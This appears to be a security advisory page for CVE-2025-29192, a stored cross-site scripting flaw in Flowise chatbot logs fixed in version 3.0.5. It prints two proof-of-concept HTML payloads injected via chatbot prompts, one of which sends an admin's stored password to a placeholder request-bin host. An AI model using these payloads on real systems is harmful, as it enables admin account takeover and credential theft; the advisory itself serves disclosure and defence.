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AI agent vulnerability · Flowise

CVE-2025-29192: Flowise Stored XSS vulnerability through logs in chatbot

mediumCVSS 3.1 5.3GHSA-7r4h-vmj9-wg42

Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.

Published Oct 3, 2025 · Updated Oct 13, 2025

Affected packages

flowise

Ecosystem
npm
Affected
< 3.0.5
Fixed in
3.0.5
Check
npm ls flowise

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Description

In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.

PoC

<form>
  <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" />
</form>

If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.

<form>
  <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" />
</form>

So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.

Poc Video

poc

Impact

An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.

Credited to LIFE-team2024.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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